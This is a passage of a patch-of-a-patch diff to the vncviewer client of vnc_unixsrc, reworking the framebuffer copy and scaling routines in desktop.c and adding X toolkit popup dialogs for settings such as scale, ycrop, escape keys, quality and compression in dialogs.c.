-+ *(ucp + 3*h + b2) = (unsigned char) ((fill & 0xff0000) >> 16);
-+ } else if (bpp == 32) {
-+ *(uip+h) = (unsigned int) fill;
-+ }
-+ }
-
--#ifdef MITSHM
-- if (appData.useShm) {
-- XShmPutImage(dpy, desktopWin, gc, image, x, y, x, y, width, height, False);
-- return;
-- }
-+ scr = im->data + y * Bpl + x * Bpp;
-+
-+ for (h = 0; h < height; h++) {
-+ memcpy(scr, buf, widthInBytes);
-+ scr += Bpl;
-+ }
-+ put_image(x, y, x, y, width, height, 1);
-+ maybe_sync(width, height);
-+}
-+
-+void copy_rect(int x, int y, int width, int height, int src_x, int src_y) {
-+ char *src, *dst;
-+ int i;
-+ XImage *im = image_scale ? image_scale : image;
-+ int Bpp = im->bits_per_pixel / 8;
-+ int Bpl = im->bytes_per_line;
-+ int did2 = 0;
-+
-+#if 0
-+fprintf(stderr, "copy_rect: %04dx%04d+%04d+%04d -- %04d %04d Bpp=%d Bpl=%d\n", width, height, x, y, src_x, src_y, Bpp, Bpl);
- #endif
-- XPutImage(dpy, desktopWin, gc, image, x, y, x, y, width, height);
-+ copyrect2:
-+
-+ if (y < src_y) {
-+ src = im->data + src_y * Bpl + src_x * Bpp;
-+ dst = im->data + y * Bpl + x * Bpp;
-+ for (i = 0; i < height; i++) {
-+ memmove(dst, src, Bpp * width);
-+ src += Bpl;
-+ dst += Bpl;
-+ }
-+ } else {
-+ src = im->data + (src_y + height - 1) * Bpl + src_x * Bpp;
-+ dst = im->data + (y + height - 1) * Bpl + x * Bpp;
-+ for (i = 0; i < height; i++) {
-+ memmove(dst, src, Bpp * width);
-+ src -= Bpl;
-+ dst -= Bpl;
-+ }
-+ }
-+
-+ if (image_scale && !did2) {
-+ im = image;
-+ Bpp = im->bits_per_pixel / 8;
-+ Bpl = im->bytes_per_line;
-+
-+ x *= scale_factor_x;
-+ y *= scale_factor_y;
-+ src_x *= scale_factor_x;
-+ src_y *= scale_factor_y;
-+ width = scale_round(width, scale_factor_x);
-+ height = scale_round(height, scale_factor_y);
-+
-+ did2 = 1;
-+ goto copyrect2;
-+ }
-+}
-+
-+
-+/*
-+ * CopyDataToScreen.
-+ */
-+
-+void
-+CopyDataToScreen(char *buf, int x, int y, int width, int height)
-+{
-+ if (appData.chatOnly) {
-+ return;
-+ }
-+ if (appData.rawDelay != 0) {
-+ XFillRectangle(dpy, desktopWin, gc, x, y, width, height);
-+ XSync(dpy,False);
-+ usleep(appData.rawDelay * 1000);
-+ }
-+
-+ if (appData.useBGR233) {
-+ CopyBGR233ToScreen((CARD8 *)buf, x, y, width, height);
-+ } else if (appData.useBGR565) {
-+ CopyBGR565ToScreen((CARD16 *)buf, x, y, width, height);
-+ } else {
-+ int h;
-+ int widthInBytes = width * myFormat.bitsPerPixel / 8;
-+ int scrWidthInBytes = si.framebufferWidth * myFormat.bitsPerPixel / 8;
-+ char *scr;
-+ XImage *im = image_scale ? image_scale : image;
-+
-+ if (scrWidthInBytes != im->bytes_per_line) scrWidthInBytes = im->bytes_per_line;
-+
-+ scr = (im->data + y * scrWidthInBytes
-+ + x * myFormat.bitsPerPixel / 8);
-+
-+ for (h = 0; h < height; h++) {
-+ memcpy(scr, buf, widthInBytes);
-+ buf += widthInBytes;
-+ scr += scrWidthInBytes;
-+ }
-+ }
-+
-+ put_image(x, y, x, y, width, height, 0);
-+ maybe_sync(width, height);
- }
-
-
-@@ -401,62 +2755,338 @@
- static void
- CopyBGR233ToScreen(CARD8 *buf, int x, int y, int width, int height)
- {
-- int p, q;
-- int xoff = 7 - (x & 7);
-- int xcur;
-- int fbwb = si.framebufferWidth / 8;
-- CARD8 *scr1 = ((CARD8 *)image->data) + y * fbwb + x / 8;
-- CARD8 *scrt;
-- CARD8 *scr8 = ((CARD8 *)image->data) + y * si.framebufferWidth + x;
-- CARD16 *scr16 = ((CARD16 *)image->data) + y * si.framebufferWidth + x;
-- CARD32 *scr32 = ((CARD32 *)image->data) + y * si.framebufferWidth + x;
-+ XImage *im = image_scale ? image_scale : image;
-+ int p, q;
-+ int xoff = 7 - (x & 7);
-+ int xcur;
-+ int fbwb = si.framebufferWidth / 8;
-+ int src_width8 = im->bytes_per_line/1;
-+ int src_width16 = im->bytes_per_line/2;
-+ int src_width32 = im->bytes_per_line/4;
-+ CARD8 *src1 = ((CARD8 *)im->data) + y * fbwb + x / 8;
-+ CARD8 *srct;
-+ CARD8 *src8 = ( (CARD8 *)im->data) + y * src_width8 + x;
-+ CARD16 *src16 = ((CARD16 *)im->data) + y * src_width16 + x;
-+ CARD32 *src32 = ((CARD32 *)im->data) + y * src_width32 + x;
-+ int b0, b1, b2;
-
-- switch (visbpp) {
-+ switch (visbpp) {
-
- /* thanks to Chris Hooper for single bpp support */
-
-- case 1:
-- for (q = 0; q < height; q++) {
-- xcur = xoff;
-- scrt = scr1;
-- for (p = 0; p < width; p++) {
-- *scrt = ((*scrt & ~(1 << xcur))
-- | (BGR233ToPixel[*(buf++)] << xcur));
--
-- if (xcur-- == 0) {
-- xcur = 7;
-- scrt++;
-- }
-- }
-- scr1 += fbwb;
-- }
-- break;
--
-- case 8:
-- for (q = 0; q < height; q++) {
-- for (p = 0; p < width; p++) {
-- *(scr8++) = BGR233ToPixel[*(buf++)];
-- }
-- scr8 += si.framebufferWidth - width;
-- }
-- break;
--
-- case 16:
-- for (q = 0; q < height; q++) {
-- for (p = 0; p < width; p++) {
-- *(scr16++) = BGR233ToPixel[*(buf++)];
-- }
-- scr16 += si.framebufferWidth - width;
-- }
-- break;
--
-- case 32:
-- for (q = 0; q < height; q++) {
-- for (p = 0; p < width; p++) {
-- *(scr32++) = BGR233ToPixel[*(buf++)];
-- }
-- scr32 += si.framebufferWidth - width;
-- }
-- break;
-- }
-+ case 1:
-+ for (q = 0; q < height; q++) {
-+ xcur = xoff;
-+ srct = src1;
-+ for (p = 0; p < width; p++) {
-+ *srct = ((*srct & ~(1 << xcur))
-+ | (BGR233ToPixel[*(buf++)] << xcur));
-+
-+ if (xcur-- == 0) {
-+ xcur = 7;
-+ srct++;
-+ }
-+ }
-+ src1 += fbwb;
-+ }
-+ break;
-+
-+ case 8:
-+ for (q = 0; q < height; q++) {
-+ for (p = 0; p < width; p++) {
-+ *(src8++) = BGR233ToPixel[*(buf++)];
-+ }
-+ src8 += src_width8 - width;
-+ }
-+ break;
-+
-+ case 16:
-+ for (q = 0; q < height; q++) {
-+ for (p = 0; p < width; p++) {
-+ *(src16++) = BGR233ToPixel[*(buf++)];
-+ }
-+ src16 += src_width16 - width;
-+ }
-+ break;
-+
-+ case 24:
-+ if (isLSB) {
-+ b0 = 0; b1 = 1; b2 = 2;
-+ } else {
-+ b0 = 2; b1 = 1; b2 = 0;
-+ }
-+ src8 = ((CARD8 *)im->data) + (y * si.framebufferWidth + x) * 3;
-+ for (q = 0; q < height; q++) {
-+ for (p = 0; p < width; p++) {
-+ CARD32 v = BGR233ToPixel[*(buf++)];
-+ *(src8 + b0) = (unsigned char) ((v & 0x0000ff) >> 0);
-+ *(src8 + b1) = (unsigned char) ((v & 0x00ff00) >> 8);
-+ *(src8 + b2) = (unsigned char) ((v & 0xff0000) >> 16);
-+ src8 += 3;
-+ }
-+ src8 += (si.framebufferWidth - width) * 3;
-+ }
-+ break;
-+
-+ case 32:
-+ for (q = 0; q < height; q++) {
-+ for (p = 0; p < width; p++) {
-+ *(src32++) = BGR233ToPixel[*(buf++)];
-+ }
-+ src32 += src_width32 - width;
-+ }
-+ break;
-+ }
-+}
-+
-+static void
-+BGR565_24bpp(CARD16 *buf, int x, int y, int width, int height)
-+{
-+ int p, q;
-+ int b0, b1, b2;
-+ XImage *im = image_scale ? image_scale : image;
-+ unsigned char *src= (unsigned char *)im->data + (y * si.framebufferWidth + x) * 3;
-+
-+ if (isLSB) {
-+ b0 = 0; b1 = 1; b2 = 2;
-+ } else {
-+ b0 = 2; b1 = 1; b2 = 0;
-+ }
-+
-+ /* case 24: */
-+ for (q = 0; q < height; q++) {
-+ for (p = 0; p < width; p++) {
-+ CARD32 v = BGR565ToPixel[*(buf++)];
-+ *(src + b0) = (unsigned char) ((v & 0x0000ff) >> 0);
-+ *(src + b1) = (unsigned char) ((v & 0x00ff00) >> 8);
-+ *(src + b2) = (unsigned char) ((v & 0xff0000) >> 16);
-+ src += 3;
-+ }
-+ src += (si.framebufferWidth - width) * 3;
-+ }
-+}
-+
-+static void
-+CopyBGR565ToScreen(CARD16 *buf, int x, int y, int width, int height)
-+{
-+ int p, q;
-+ XImage *im = image_scale ? image_scale : image;
-+ int src_width32 = im->bytes_per_line/4;
-+ CARD32 *src32 = ((CARD32 *)im->data) + y * src_width32 + x;
-+
-+ if (visbpp == 24) {
-+ BGR565_24bpp(buf, x, y, width, height);
-+ return;
-+ }
-+
-+ /* case 32: */
-+ for (q = 0; q < height; q++) {
-+ for (p = 0; p < width; p++) {
-+ *(src32++) = BGR565ToPixel[*(buf++)];
-+ }
-+ src32 += src_width32 - width;
-+ }
-+}
-+
-+static void reset_image(void) {
-+ if (UsingShm()) {
-+ ShmDetach();
-+ }
-+ if (image && image->data) {
-+ XDestroyImage(image);
-+ fprintf(stderr, "reset_image: destroyed 'image'\n");
-+ }
-+ image = NULL;
-+ if (image_ycrop && image_ycrop->data) {
-+ XDestroyImage(image_ycrop);
-+ fprintf(stderr, "reset_image: destroyed 'image_ycrop'\n");
-+ }
-+ image_ycrop = NULL;
-+ if (image_scale && image_scale->data) {
-+ XDestroyImage(image_scale);
-+ fprintf(stderr, "reset_image: destroyed 'image_scale'\n");
-+ }
-+ image_scale = NULL;
-+
-+ if (UsingShm()) {
-+ ShmCleanup();
-+ }
-+ create_image();
-+ XFlush(dpy);
-+}
-+
-+void ReDoDesktop(void) {
-+ int w, w0, h, h0, x, y, dw, dh;
-+ int fs = 0;
-+ int autoscale = 0;
-+ Position x_orig, y_orig;
-+ Dimension w_orig, h_orig;
-+
-+ if (!appData.fullScreen && appData.scale != NULL && !strcmp(appData.scale, "auto")) {
-+ autoscale = 1;
-+ }
-+
-+ fprintf(stderr, "ReDoDesktop: ycrop: %d\n", appData.yCrop);
-+
-+ XtVaGetValues(toplevel, XtNx, &x_orig, XtNy, &y_orig, NULL);
-+ XtVaGetValues(toplevel, XtNheight, &h_orig, XtNwidth, &w_orig, NULL);
-+
-+ check_tall();
-+
-+ if (appData.yCrop) {
-+ if (appData.yCrop < 0 || old_width <= 0) {
-+ appData.yCrop = guessCrop();
-+ fprintf(stderr, "Set -ycrop to: %d\n", appData.yCrop);
-+ } else {
-+ int w1 = si.framebufferWidth;
-+ appData.yCrop = (w1 * appData.yCrop) / old_width;
-+ if (appData.yCrop <= 100) {
-+ appData.yCrop = guessCrop();
-+ fprintf(stderr, "Set small -ycrop to: %d\n", appData.yCrop);
-+ }
-+ }
-+ fprintf(stderr, "Using -ycrop: %d\n", appData.yCrop);
-+ }
-+
-+ old_width = si.framebufferWidth;
-+ old_height = si.framebufferHeight;
-+
-+ if (appData.fullScreen) {
-+ if (prev_fb_width != si.framebufferWidth || prev_fb_height != si.framebufferHeight) {
-+ int xmax = si.framebufferWidth;
-+ int ymax = si.framebufferHeight;
-+ if (appData.yCrop > 0) {
-+ ymax = appData.yCrop;
-+ }
-+ if (scale_x > 0) {
-+ xmax = scale_round(xmax, scale_factor_x);
-+ ymax = scale_round(ymax, scale_factor_y);
-+ }
-+ if (xmax < dpyWidth || ymax < dpyHeight) {
-+ FullScreenOff();
-+ fs = 1;
-+ }
-+ }
-+ }
-+
-+ prev_fb_width = si.framebufferWidth;
-+ prev_fb_height = si.framebufferHeight;
-+
-+ if (appData.fullScreen) {
-+
-+ int xmax = si.framebufferWidth;
-+ int ymax = si.framebufferHeight;
-+ if (scale_x > 0) {
-+ xmax = scale_round(xmax, scale_factor_x);
-+ ymax = scale_round(ymax, scale_factor_y);
-+ }
-+
-+ if (image && image->data) {
-+ int len;
-+ int h = image->height;
-+ int w = image->width;
-+ len = image->bytes_per_line * image->height;
-+ /* black out window first: */
-+ memset(image->data, 0, len);
-+ XPutImage(dpy, XtWindow(desktop), gc, image, 0, 0, 0, 0, w, h);
-+ XFlush(dpy);
-+ }
-+
-+ /* XXX scaling?? */
-+ XtResizeWidget(desktop, xmax, ymax, 0);
-+
-+ XSync(dpy, False);
-+ usleep(100*1000);
-+ FullScreenOn();
-+ XSync(dpy, False);
-+ usleep(100*1000);
-+ reset_image();
-+ return;
-+ }
-+
-+ dw = appData.wmDecorationWidth;
-+ dh = appData.wmDecorationHeight;
-+
-+ w = si.framebufferWidth;
-+ h = si.framebufferHeight;
-+ w0 = w;
-+ h0 = h;
-+ if (appData.yCrop > 0) {
-+ h = appData.yCrop;
-+ }
-+ if (image_scale) {
-+ w = scale_round(w, scale_factor_x);
-+ h = scale_round(h, scale_factor_y);
-+ w0 = scale_round(w0, scale_factor_x);
-+ h0 = scale_round(h0, scale_factor_y);
-+ }
-+
-+ if (w + dw >= dpyWidth) {
-+ w = dpyWidth - dw;
-+ }
-+ if (h + dh >= dpyHeight) {
-+ h = dpyHeight - dh;
-+ }
-+
-+ if (!autoscale) {
-+ XtVaSetValues(toplevel, XtNmaxWidth, w, XtNmaxHeight, h, NULL);
-+ } else {
-+ XtVaSetValues(toplevel, XtNmaxWidth, dpyWidth, XtNmaxHeight, dpyHeight, NULL);
-+ }
-+
-+ XtVaSetValues(desktop, XtNwidth, w0, XtNheight, h0, NULL);
-+
-+ XtResizeWidget(desktop, w0, h0, 0);
-+
-+ if (appData.yCrop > 0) {
-+ int ycrop = appData.yCrop;
-+ if (image_scale) {
-+ ycrop *= scale_factor_y;
-+ }
-+ XtVaSetValues(toplevel, XtNmaxHeight, ycrop, NULL);
-+ XtVaSetValues(form, XtNmaxHeight, ycrop, NULL);
-+ }
-+
-+ x = (dpyWidth - w - dw)/2;
-+ y = (dpyHeight - h - dh)/2;
-+
-+ if (!autoscale) {
-+
-+ if (!getenv("VNCVIEWER_ALWAYS_RECENTER")) {
-+ int x_cm_old, y_cm_old;
-+ int x_cm_new, y_cm_new;
-+ int x_try, y_try;
-+
-+ x_cm_old = (int) x_orig + ((int) w_orig)/2;
-+ y_cm_old = (int) y_orig + ((int) h_orig)/2;
-+
-+ x_cm_new = dpyWidth/2;
-+ y_cm_new = dpyHeight/2;
-+
-+ x_try = x + (x_cm_old - x_cm_new);
-+ y_try = y + (y_cm_old - y_cm_new);
-+ if (x_try < 0) {
-+ x_try = 0;
-+ }
-+ if (y_try < 0) {
-+ y_try = 0;
-+ }
-+ if (x_try + w + dw > dpyWidth) {
-+ x_try = dpyWidth - w - dw;
-+ }
-+ if (y_try + h + dh > dpyHeight) {
-+ y_try = dpyHeight - h - dh;
-+ }
-+ x = x_try;
-+ y = y_try;
-+ }
-+
-+ XtConfigureWidget(toplevel, x + dw, y + dh, w, h, 0);
-+ }
-+
-+ reset_image();
-+
-+ if (fs) {
-+ FullScreenOn();
-+ }
- }
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/dialogs.c vnc_unixsrc/vncviewer/dialogs.c
---- vnc_unixsrc.orig/vncviewer/dialogs.c 2000-10-26 15:19:19.000000000 -0400
-+++ vnc_unixsrc/vncviewer/dialogs.c 2010-02-25 22:33:06.000000000 -0500
-@@ -25,75 +25,564 @@
- #include <X11/Xaw/Dialog.h>
-
- static Bool serverDialogDone = False;
-+static Bool userDialogDone = False;
- static Bool passwordDialogDone = False;
-+static Bool ycropDialogDone = False;
-+static Bool scaleDialogDone = False;
-+static Bool escapeDialogDone = False;
-+static Bool scbarDialogDone = False;
-+static Bool scaleNDialogDone = False;
-+static Bool qualityDialogDone = False;
-+static Bool compressDialogDone = False;
-+
-+extern void popupFixer(Widget wid);
-+
-+int use_tty(void) {
-+ if (appData.notty) {
-+ return 0;
-+ } else if (!isatty(0)) {
-+ return 0;
-+ }
-+ return 1;
-+}
-+
-+void
-+ScaleDialogDone(Widget w, XEvent *event, String *params, Cardinal *num_params)
-+{
-+ scaleDialogDone = True;
-+ if (w || event || params || num_params) {}
-+}
-+
-+void
-+EscapeDialogDone(Widget w, XEvent *event, String *params, Cardinal *num_params)
-+{
-+ escapeDialogDone = True;
-+ if (w || event || params || num_params) {}
-+}
-+
-+void dialog_over(Widget wid) {
-+ if (appData.fullScreen) {
-+ if (!net_wm_supported()) {
-+ XtVaSetValues(wid, XtNoverrideRedirect, True, NULL);
-+ XSync(dpy, True);
-+ }
-+ }
-+}
-+
-+extern int XError_ign;
-+
-+void dialog_input(Widget wid) {
-+ XError_ign = 1;
-+ XSetInputFocus(dpy, XtWindow(wid), RevertToParent, CurrentTime);
-+ XSync(dpy, False);
-+ usleep(30 * 1000);
-+ XSync(dpy, False);
-+ usleep(20 * 1000);
-+ XSync(dpy, False);
-+ XError_ign = 0;
-+}
-+
-+static void rmNL(char *s) {
-+ int len;
-+ if (s == NULL) {
-+ return;
-+ }
-+ len = strlen(s);
-+ if (len > 0 && s[len-1] == '\n') {
-+ s[len-1] = '\0';
-+ }
-+}
-+
-+static void wm_delete(Widget w, char *func) {
-+ char str[1024];
-+ Atom wmDeleteWindow = XInternAtom(dpy, "WM_DELETE_WINDOW", False);
-+ XSetWMProtocols(dpy, XtWindow(w), &wmDeleteWindow, 1);
-+ if (func) {
-+ sprintf(str, "<Message>WM_PROTOCOLS: %s", func);
-+ XtOverrideTranslations(w, XtParseTranslationTable (str));
-+ }
-+}
-+
-+static void xtmove(Widget w) {
-+ XtMoveWidget(w, WidthOfScreen(XtScreen(w))*2/5, HeightOfScreen(XtScreen(w))*2/5);
-+}
-+
-+char *
-+DoScaleDialog()
-+{
-+ Widget pshell, dialog;
-+ char *scaleValue;
-+ char *valueString;
-+
-+ pshell = XtVaCreatePopupShell("scaleDialog", transientShellWidgetClass,
-+ toplevel, NULL);
-+ dialog = XtVaCreateManagedWidget("dialog", dialogWidgetClass, pshell, NULL);
-+
-+ dialog_over(pshell);
-+
-+ if (0) XtMoveWidget(pshell, WidthOfScreen(XtScreen(pshell))*2/5, HeightOfScreen(XtScreen(pshell))*2/5);
-+ XtPopup(pshell, XtGrabNonexclusive);
-+ XtRealizeWidget(pshell);
-+
-+ if (appData.scale != NULL) {
-+ String label;
-+ char tmp[410];
-+ XtVaGetValues(dialog, XtNlabel, &label, NULL);
-+ if (strlen(label) + strlen(appData.scale) < 400) {
-+ sprintf(tmp, "%s %s", label, appData.scale);
-+ XtVaSetValues(dialog, XtNlabel, tmp, NULL);
-+ }
-+ }
-+
-+
-+ if (1 && appData.popupFix) {
-+ popupFixer(pshell);
-+ } else {
-+ xtmove(pshell);
-+ }
-+ dialog_input(pshell);
-+ wm_delete(pshell, "ScaleDialogDone()");
-+
-+ scaleDialogDone = False;
-+
-+ while (!scaleDialogDone) {
-+ XtAppProcessEvent(appContext, XtIMAll);
-+ }
-+
-+ valueString = XawDialogGetValueString(dialog);
-+ rmNL(valueString);
-+ scaleValue = XtNewString(valueString);
-+
-+ XtPopdown(pshell);
-+ return scaleValue;
-+}
-+
-+char *
-+DoEscapeKeysDialog()
-+{
-+ Widget pshell, dialog;
-+ char *escapeValue;
-+ char *valueString;
-+ char *curr = appData.escapeKeys ? appData.escapeKeys : "default";
-+
-+ pshell = XtVaCreatePopupShell("escapeDialog", transientShellWidgetClass,
-+ toplevel, NULL);
-+ dialog = XtVaCreateManagedWidget("dialog", dialogWidgetClass, pshell, NULL);
-+
-+ dialog_over(pshell);
-+
-+ if(0) XtMoveWidget(pshell, WidthOfScreen(XtScreen(pshell))*2/5, HeightOfScreen(XtScreen(pshell))*2/5);
-+ XtPopup(pshell, XtGrabNonexclusive);
-+ XtRealizeWidget(pshell);
-+
-+ if (curr != NULL) {
-+ String label;
-+ char tmp[3010];
-+ XtVaGetValues(dialog, XtNlabel, &label, NULL);
-+ if (strlen(label) + strlen(curr) < 3000) {
-+ sprintf(tmp, "%s %s", label, curr);
-+ XtVaSetValues(dialog, XtNlabel, tmp, NULL);
-+ }
-+ }
-+
-+ if (appData.popupFix) {
-+ popupFixer(pshell);
-+ } else {
-+ /* too big */
-+ if (0) xtmove(pshell);
-+ }
-+ dialog_input(pshell);
-+ wm_delete(pshell, "EscapeDialogDone()");
-+
-+ escapeDialogDone = False;
-+
-+ while (!escapeDialogDone) {
-+ XtAppProcessEvent(appContext, XtIMAll);
-+ }
-+
-+ valueString = XawDialogGetValueString(dialog);
-+ rmNL(valueString);
-+ escapeValue = XtNewString(valueString);
-+
-+ XtPopdown(pshell);
-+ return escapeValue;
-+}
-+
-+void
-+YCropDialogDone(Widget w, XEvent *event, String *params, Cardinal *num_params)
-+{
-+ ycropDialogDone = True;
-+ if (w || event || params || num_params) {}
-+}
-+
-+char *
-+DoYCropDialog()
-+{
-+ Widget pshell, dialog;
-+ char *ycropValue;
-+ char *valueString;
-+
-+ pshell = XtVaCreatePopupShell("ycropDialog", transientShellWidgetClass,
-+ toplevel, NULL);
-+ dialog = XtVaCreateManagedWidget("dialog", dialogWidgetClass, pshell, NULL);
-+
-+ dialog_over(pshell);
-+
-+ if(0) XtMoveWidget(pshell, WidthOfScreen(XtScreen(pshell))*2/5, HeightOfScreen(XtScreen(pshell))*2/5);
-+ XtPopup(pshell, XtGrabNonexclusive);
-+ XtRealizeWidget(pshell);
-+
-+ if (1 && appData.popupFix) {
-+ popupFixer(pshell);
-+ } else {
-+ xtmove(pshell);
-+ }
-+ dialog_input(pshell);
-+ wm_delete(pshell, "YCropDialogDone()");
-+
-+ ycropDialogDone = False;
-+
-+ while (!ycropDialogDone) {
-+ XtAppProcessEvent(appContext, XtIMAll);
-+ }
-+
-+ valueString = XawDialogGetValueString(dialog);
-+ rmNL(valueString);
-+ ycropValue = XtNewString(valueString);
-+
-+ XtPopdown(pshell);
-+ return ycropValue;
-+}
-+
-+void
-+ScbarDialogDone(Widget w, XEvent *event, String *params, Cardinal *num_params)
-+{
-+ scbarDialogDone = True;
-+ if (w || event || params || num_params) {}
-+}
-+
-+char *
-+DoScbarDialog()
-+{
-+ Widget pshell, dialog;
-+ char *scbarValue;
-+ char *valueString;
-+
-+ pshell = XtVaCreatePopupShell("scbarDialog", transientShellWidgetClass,
-+ toplevel, NULL);
-+ dialog = XtVaCreateManagedWidget("dialog", dialogWidgetClass, pshell, NULL);
-+
-+ dialog_over(pshell);
-+
-+ if(0) XtMoveWidget(pshell, WidthOfScreen(XtScreen(pshell))*2/5, HeightOfScreen(XtScreen(pshell))*2/5);
-+ XtPopup(pshell, XtGrabNonexclusive);
-+ XtRealizeWidget(pshell);
-+
-+ if (1 && appData.popupFix) {
-+ popupFixer(pshell);
-+ } else {
-+ xtmove(pshell);
-+ }
-+ dialog_input(pshell);
-+ wm_delete(pshell, "ScbarDialogDone()");
-+
-+ scbarDialogDone = False;
-+
-+ while (!scbarDialogDone) {
-+ XtAppProcessEvent(appContext, XtIMAll);
-+ }
-+
-+ valueString = XawDialogGetValueString(dialog);
-+ rmNL(valueString);
-+ scbarValue = XtNewString(valueString);
-+
-+ XtPopdown(pshell);
-+ return scbarValue;
-+}
-+
-+void
-+ScaleNDialogDone(Widget w, XEvent *event, String *params, Cardinal *num_params)
-+{
-+ scaleNDialogDone = True;
-+ if (w || event || params || num_params) {}
-+}
-+
-+char *
-+DoScaleNDialog()
-+{
-+ Widget pshell, dialog;
-+ char *scaleNValue;
-+ char *valueString;
-+
-+ pshell = XtVaCreatePopupShell("scaleNDialog", transientShellWidgetClass,
-+ toplevel, NULL);
-+ dialog = XtVaCreateManagedWidget("dialog", dialogWidgetClass, pshell, NULL);
-+
-+ dialog_over(pshell);
-+ wm_delete(pshell, "ScaleNDialogDone()");
-+
-+ if(0) XtMoveWidget(pshell, WidthOfScreen(XtScreen(pshell))*2/5, HeightOfScreen(XtScreen(pshell))*2/5);
-+ XtPopup(pshell, XtGrabNonexclusive);
-+ XtRealizeWidget(pshell);
-+
-+ if (appData.popupFix) {
-+ popupFixer(pshell);
-+ } else {
-+ xtmove(pshell);
-+ }
-+ dialog_input(pshell);
-+ wm_delete(pshell, "ScaleNDialogDone()");
-+
-+ scaleNDialogDone = False;
-+
-+ while (!scaleNDialogDone) {
-+ XtAppProcessEvent(appContext, XtIMAll);
-+ }
-+
-+ valueString = XawDialogGetValueString(dialog);
-+ rmNL(valueString);
-+ scaleNValue = XtNewString(valueString);
-+
-+ XtPopdown(pshell);
-+ return scaleNValue;
-+}
-+
-+void
-+QualityDialogDone(Widget w, XEvent *event, String *params, Cardinal *num_params)
-+{
-+ qualityDialogDone = True;
-+ if (w || event || params || num_params) {}
-+}
-+
-+char *
-+DoQualityDialog()
-+{
-+ Widget pshell, dialog;
-+ char *qualityValue;
-+ char *valueString;
-+
-+ pshell = XtVaCreatePopupShell("qualityDialog", transientShellWidgetClass,
-+ toplevel, NULL);
-+ dialog = XtVaCreateManagedWidget("dialog", dialogWidgetClass, pshell, NULL);
-+
-+ dialog_over(pshell);
-+
-+ if(0) XtMoveWidget(pshell, WidthOfScreen(XtScreen(pshell))*2/5, HeightOfScreen(XtScreen(pshell))*2/5);
-+ XtPopup(pshell, XtGrabNonexclusive);
-+ XtRealizeWidget(pshell);
-+
-+ if (1 && appData.popupFix) {
-+ popupFixer(pshell);
-+ } else {
-+ xtmove(pshell);
-+ }
-+ dialog_input(pshell);
-+ wm_delete(pshell, "QualityDialogDone() HideQuality()");
-+
-+ qualityDialogDone = False;
-+
-+ while (!qualityDialogDone) {
-+ XtAppProcessEvent(appContext, XtIMAll);
-+ }
-+
-+ valueString = XawDialogGetValueString(dialog);
-+ rmNL(valueString);
-+ qualityValue = XtNewString(valueString);
-+
-+ XtPopdown(pshell);
-+ return qualityValue;
-+}
-+
-+void
-+CompressDialogDone(Widget w, XEvent *event, String *params, Cardinal *num_params)
-+{
-+ compressDialogDone = True;
-+ if (w || event || params || num_params) {}
-+}
-+
-+char *
-+DoCompressDialog()
-+{
-+ Widget pshell, dialog;
-+ char *compressValue;
-+ char *valueString;
-+
-+ fprintf(stderr, "compress start:\n");
-+
-+ pshell = XtVaCreatePopupShell("compressDialog", transientShellWidgetClass,
-+ toplevel, NULL);
-+ dialog = XtVaCreateManagedWidget("dialog", dialogWidgetClass, pshell, NULL);
-+
-+ dialog_over(pshell);
-+
-+ if(0) XtMoveWidget(pshell, WidthOfScreen(XtScreen(pshell))*2/5, HeightOfScreen(XtScreen(pshell))*2/5);
-+ XtPopup(pshell, XtGrabNonexclusive);
-+ XtRealizeWidget(pshell);
-+
-+ if (1 && appData.popupFix) {
-+ popupFixer(pshell);
-+ } else {
-+ xtmove(pshell);
-+ }
-+ dialog_input(pshell);
-+ wm_delete(pshell, "CompressDialogDone() HideCompress()");
-+
-+ compressDialogDone = False;
-+
-+ while (!compressDialogDone) {
-+ XtAppProcessEvent(appContext, XtIMAll);
-+ }
-+
-+ valueString = XawDialogGetValueString(dialog);
-+ rmNL(valueString);
-+ compressValue = XtNewString(valueString);
-+
-+ fprintf(stderr, "compress done: %s\n", compressValue);
-+
-+ XtPopdown(pshell);
-+ return compressValue;
-+}
-
- void
- ServerDialogDone(Widget w, XEvent *event, String *params, Cardinal *num_params)
- {
-- serverDialogDone = True;
-+ serverDialogDone = True;
-+ if (w || event || params || num_params) {}
- }
-
- char *
- DoServerDialog()
- {
-- Widget pshell, dialog;
-- char *vncServerName;
-- char *valueString;
-+ Widget pshell, dialog;
-+ char *vncServerName;
-+ char *valueString;
-
-- pshell = XtVaCreatePopupShell("serverDialog", transientShellWidgetClass,
-+ pshell = XtVaCreatePopupShell("serverDialog", transientShellWidgetClass,
- toplevel, NULL);
-- dialog = XtVaCreateManagedWidget("dialog", dialogWidgetClass, pshell, NULL);
-+ dialog = XtVaCreateManagedWidget("dialog", dialogWidgetClass, pshell, NULL);
-
-- XtMoveWidget(pshell, WidthOfScreen(XtScreen(pshell))*2/5,
-- HeightOfScreen(XtScreen(pshell))*2/5);
-- XtPopup(pshell, XtGrabNonexclusive);
-- XtRealizeWidget(pshell);
-+ dialog_over(pshell);
-
-- serverDialogDone = False;
-+ if (0) XtMoveWidget(pshell, WidthOfScreen(XtScreen(pshell))*2/5, HeightOfScreen(XtScreen(pshell))*2/5);
-+ XtPopup(pshell, XtGrabNonexclusive);
-+ XtRealizeWidget(pshell);
-+
-+ if (0 && appData.popupFix) {
-+ popupFixer(pshell);
-+ } else {
-+ xtmove(pshell);
-+ }
-+#if 0
-+ dialog_input(pshell);
-+#endif
-+ wm_delete(pshell, "ServerDialogDone()");
-+
-+ serverDialogDone = False;
-+
-+ while (!serverDialogDone) {
-+ XtAppProcessEvent(appContext, XtIMAll);
-+ }
-+
-+ valueString = XawDialogGetValueString(dialog);
-+ rmNL(valueString);
-+ vncServerName = XtNewString(valueString);
-
-- while (!serverDialogDone) {
-- XtAppProcessEvent(appContext, XtIMAll);
-- }
-+ XtPopdown(pshell);
-+ return vncServerName;
-+}
-
-- valueString = XawDialogGetValueString(dialog);
-- vncServerName = XtNewString(valueString);
-+void
-+UserDialogDone(Widget w, XEvent *event, String *params, Cardinal *num_params)
-+{
-+ userDialogDone = True;
-+ if (w || event || params || num_params) {}
-+}
-
-- XtPopdown(pshell);
-- return vncServerName;
-+char *
-+DoUserDialog()
-+{
-+ Widget pshell, dialog;
-+ char *userName;
-+ char *valueString;
-+
-+ pshell = XtVaCreatePopupShell("userDialog", transientShellWidgetClass,
-+ toplevel, NULL);
-+ dialog = XtVaCreateManagedWidget("dialog", dialogWidgetClass, pshell, NULL);
-+
-+ dialog_over(pshell);
-+
-+ if(0) XtMoveWidget(pshell, WidthOfScreen(XtScreen(pshell))*2/5, HeightOfScreen(XtScreen(pshell))*2/5);
-+ XtPopup(pshell, XtGrabNonexclusive);
